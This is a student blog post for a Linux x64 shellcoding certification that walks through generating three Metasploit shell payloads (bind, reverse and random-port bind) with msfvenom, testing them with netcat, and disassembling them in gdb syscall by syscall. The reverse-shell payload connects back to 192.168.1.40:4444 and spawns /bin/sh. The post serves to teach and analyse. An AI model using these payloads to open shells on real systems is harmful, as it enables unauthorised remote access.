This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #5
The aim of this assignment is to dissect functionnality of 3 payloads from Metasploit.
The tool msfpayload has been replaced by msfvenom.
So first, I just list all linux x64 payloads using msfvenom :
msfvenom -l payload | grep linux/x64 linux/x64/exec Execute an arbitrary command linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'. linux/x64/shell_find_port Spawn a shell on an established connection linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
I’ve chosen to do the analysis of the following payloads :
- linux/x64/shell_bind_tcp
- linux/x64/shell_reverse_tcp
- linux/x64/shell_bind_tcp_random_port
Analysis of linux/x64/shell_bind_tcp
First, I generate the payload :
msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp -f elf > shell_bind_tcp No encoder or badchars specified, outputting raw payload Payload size: 86 bytes Final size of elf file: 206 bytes
Then I’ve tested it :
On the target : chmod +x shell_bind_tcp ./shell_bind_tcp
On my computer : nc <Target IP> 4444
In order to dissect the code, I first search entry point address from the binary :
readelf -a ./shell_bind_tcp ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
I then debug the code under gdb
gdb ./shell_bind_tcp break *0x400078 set disassembly-flavor intel run layout asm layout regs
Analysis :
1) Open a socket stream
B+>│0x400078 push 0x29 │0x40007a pop rax │0x40007b cdq │0x40007c push 0x2 │0x40007e pop rdi │0x40007f push 0x1 │0x400081 pop rsi │0x400082 syscall
sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)
2) Bind TCP socket on port 4444
>│0x400084 xchg rdi,rax │0x400086 push rdx │0x400087 mov DWORD PTR [rsp],0x5c110002 │0x40008e mov rsi,rsp │0x400091 push 0x10 │0x400093 pop rdx │0x400094 push 0x31 │0x400096 pop rax │0x400097 syscall
sys_bind (rax = 49) int fd (rdi) struct sokaddr *umyaddr (rsi) int addrlen (rdx = 0x10)
where rsi points to stack with C structure :
struct sockaddr_in { uint8_t sin_len; /* total length */ sa_family_t sin_family; /* family : AF_INET */ in_port_t sin_port; /* port number */ struct in_addr sin_addr; /* inet address */ unsigned char sin_zero[8]; /* 8 zeros */ };
sin_addr = 0 (push rdx) = INADDR_ANY = any address for binding
>│0x400084 xchg rdi,rax │0x400086 push rdx
sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
mov DWORD PTR [rsp],0x5c110002
sin_family = 2 = AF_INET
mov DWORD PTR [rsp],0x5c110002
sin_len = 0x10
push 0x10
pop rdx
3) Socket listen
│0x400099 push 0x32 │0x40009b pop rax │0x40009c syscall
syscall sys_listen (rax = 50) int fd int backlog
4) Accept connection
│0x40009e xor rsi,rsi │0x4000a1 push 0x2b │0x4000a3 pop rax │0x4000a4 syscall
sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen
5) Duplicate socket (stdin, stout, stderr) >│0x4000a6 xchg rdi,rax │0x4000a8 push 0x3 │0x4000aa pop rsi │0x4000ab dec rsi │0x4000ae push 0x21 │0x4000b0 pop rax │0x4000b1 syscall
sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd
6) Shellcode part
Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *
Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa
0x4000b3 jne 0x4000ab │0x4000b5 push 0x3b │0x4000b7 pop rax │0x4000b8 cdq │0x4000b9 movabs rbx,0x68732f6e69622f │0x4000c3 push rbx │0x4000c4 mov rdi,rsp │0x4000c7 push rdx │0x4000c8 push rdi │0x4000c9 mov rsi,rsp │0x4000cc syscall
Analysis of linux/x64/shell_reverse_tcp
First, I generate the payload :
msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp -f elf > shell_reverse_tcp
Then I’ve tested it :
My computer : nc -nlvp 4444
Target : chmod +x shell_reverse_tcp ./shell_reverse_tcp
Then in order to dissect the code, I debug it with gdb
gdb ./shell_reverse_tcp break *0x400078 set disassembly-flavor intel run layout asm layout regs
Analysis :
1) Open a socket stream
B+>│0x400078 push 0x29 │0x40007a pop rax │0x40007b cdq │0x40007c push 0x2 │0x40007e pop rdi │0x40007f push 0x1 │0x400081 pop rsi │0x400082 syscall
sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)
2) Connect socket to port 4444 on localhost
│0x400084 xchg rdi,rax │0x400086 movabs rcx,0x2801a8c05c110002 │0x400090 push rcx │0x400091 mov rsi,rsp │0x400094 push 0x10 │0x400096 pop rdx │0x400097 push 0x2a │0x400099 pop rax │0x40009a syscall
│0x400084 xchg rdi,rax
Keep socket stream fd
│0x400086 movabs rcx,0x2801a8c05c110002 │0x400090 push rcx │0x400091 mov rsi,rsp
rsi points to stack with C structure :
struct sockaddr_in { uint8_t sin_len; /* total length */ sa_family_t sin_family; /* family : AF_INET */ in_port_t sin_port; /* port number */ struct in_addr sin_addr; /* inet address */ unsigned char sin_zero[8]; /* 8 zeros */ }; sin_family = 2 = AF_INET sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444) sin_addr = 2801a8c0 = 192.168.1.40 in reverse order │0x400094 push 0x10 │0x400096 pop rdx
Put addrlen on stack
│0x400097 push 0x2a │0x400099 pop rax │0x40009a syscall
sys_connect (rax = 0x2a) int fd (rdi = rax = socket stream) struct sockaddr *uservaddr (rsi) int addrlen (rdx = 0x10)
3) Duplicate socket (stdin, stout, stderr)
│0x40009c push 0x3 │0x40009e pop rsi │0x40009f dec rsi │0x4000a2 push 0x21 │0x4000a4 pop rax │0x4000a5 syscall
sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd
4) Shellcode part
Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *
Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa
│0x4000a7 jne 0x40009f │0x4000a9 push 0x3b │0x4000ab pop rax │0x4000ac cdq │0x4000ad movabs rbx,0x68732f6e69622f │0x4000b7 push rbx │0x4000b8 mov rdi,rsp │0x4000bb push rdx │0x4000bc push rdi │0x4000bd mov rsi,rsp │0x4000c0 syscall
Analysis of linux/x64/shell_bind_tcp_random_port
First, I generate the payload :
msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp_random_port -f elf > shell_bind_tcp_random_port No encoder or badchars specified, outputting raw payload Payload size: 57 bytes Final size of elf file: 177 bytes
Then I’ve tested it :
Target : chmod +x shell_bind_tcp_random_port ./shell_bind_tcp_random_port
My computer : Search port : nmap -sS <Target> -p- Connect to target : nc <Target IP> <Port>
Then in order to dissect the code, I debug it with gdb :
gdb ./shell_bind_tcp_random_port break *0x400078 set disassembly-flavor intel run layout asm layout regs
Analysis :
1) Open a socket stream
B+>│0x400078 xor rsi,rsi │0x40007b mul rsi │0x40007e inc esi │0x400080 push 0x2 │0x400082 pop rdi │0x400083 mov al,0x29 │0x400085 syscall
sys_socket (rax = 41) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)
2) Socket listen
│0x400087 push rdx │0x400088 pop rsi │0x400089 push rax │0x40008a pop rdi │0x40008b mov al,0x32 │0x40008d syscall
syscall sys_listen (rax = 50) int fd int backlog
Socket listen on random port
3) Accept connection
│0x40008f mov al,0x2b │0x400091 syscall
sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen
Process is waiting connexion
4) Duplicate socket (stdin, stout, stderr)
│0x400093 push rdi │0x400094 pop rsi │0x400095 xchg rdi,rax │0x400097 dec esi │0x400099 mov al,0x21 │0x40009b syscall
sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd
5) Shellcode part
Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *
Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa
│0x40009d jne 0x400097 │0x40009f push rdx │0x4000a0 movabs rdi,0x68732f6e69622f2f │0x4000aa push rdi │0x4000ab push rsp │0x4000ac pop rdi │0x4000ad mov al,0x3b │0x4000af syscall